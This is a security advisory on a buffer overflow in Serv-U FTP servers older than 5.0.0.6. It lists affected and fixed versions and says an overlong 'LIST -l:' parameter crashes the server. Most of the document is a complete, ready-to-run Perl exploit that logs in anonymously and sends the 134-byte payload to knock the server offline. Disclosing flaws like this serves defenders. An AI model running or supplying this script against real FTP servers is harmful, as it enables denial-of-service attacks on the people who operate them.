     Serv-U LIST -l Parameter Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    <http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use, award-winning FTP
    server" created by Rob Beckers.
    A vulnerability in the product allows a remote user to cause the server to
    fail by sending a malformed LIST command to the server.

    DETAILS

    Vulnerable Systems:
    * Serv-U older than 5.0.0.6

    Immune Systems:
    * Serv-U 5.0.0.6 and newer

    A user issuing a long parameter (around 134 bytes) as a value for a LIST
    command (using the -l: parameter for that LIST command), can cause the server
    to try and read a value that is outside the memory location of the Serv-U's
    memory, this will cause an exception to be triggered (an unhandled
    exception), which in turn causes the program to crash.

    Solution:
    The vendor has released a new version, which fixes this problem.

    Exploit:
    #!/usr/bin/perl

    use IO::Socket;

    $host = "192.168.1.243";

    $remote = IO::Socket::INET->new ( Proto => "tcp",
         PeerAddr => $host,
         PeerPort => "2116",
        );

    unless ($remote) { die "cannot connect to ftp daemon on $host" }

    print "connected\n";
    while (<$remote>)
    {
     print $_;
     if (/220 /)
     {
      last;
     }
    }

    $remote->autoflush(1);

    my $ftp = "USER anonymous\r\n";

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/331 /)
     {
      last;
     }
    }

    $ftp = join("", "PASS ", "a\@b.com", "\r\n");
    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/230 /)
     {
      last;
     }
    }

    my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/250 Done/)
     {
      last;
     }
    }

    close $remote;
